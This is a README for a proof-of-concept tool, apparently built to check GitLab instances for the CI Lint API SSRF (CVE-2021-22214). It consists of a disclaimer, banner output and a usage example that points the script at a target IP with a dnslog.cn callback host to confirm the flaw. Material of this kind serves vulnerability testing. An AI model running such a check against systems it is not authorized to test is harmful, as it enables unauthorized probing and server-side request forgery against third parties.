aaminin/cve-2021-22214Gitlab CI Lint API未授权 SSRF漏洞 (CVE-2021-22214)
GitLab CI Lint API Unauthorized SSRF Vulnerability (CVE-2021-22214)
This article and the tool are for technical sharing only. Strictly prohibited for illegal use, otherwise all consequences shall be borne by the user.
$ python3 gitlab_ssrf.py
===============================================================
_____ _ _ _ _ _____ _____ _____ ______
/ ____(_) | | | | | / ____/ ____| __ \| ____|
| | __ _| |_| | __ _| |__ | (___| (___ | |__) | |__
| | |_ | | __| | / _` | '_ \ \___ \___ \| _ /| __|
| |__| | | |_| |___| (_| | |_) | ____) |___) | | \ \| |
\_____|_|\__|______\__,_|_.__/ |_____/_____/|_| \_\_|
CVE-2021-22214 Powered by r0cky Team ZionLab
===============================================================
Example:
python3 gitlab_ssrf.py <target> <dnshost>
target: 192.168.80.136
$ python3 gitlab_ssrf.py http://192.168.80.136/ ssrf.sleg0x.dnslog.cn
===============================================================
_____ _ _ _ _ _____ _____ _____ ______
/ ____(_) | | | | | / ____/ ____| __ \| ____|
| | __ _| |_| | __ _| |__ | (___| (___ | |__) | |__
| | |_ | | __| | / _` | '_ \ \___ \___ \| _ /| __|
| |__| | | | |_| |___| (_| | |_) | ____) |___) | | \ \| |
\_____|_|\__|______\__,_|_.__/ |_____/_____/|_| \_\_|
CVE-2021-22214 Powered by r0cky Team ZionLab
===============================================================
[+] Possible GitLab SSRF vulnerability detected. Please check dnslog records.
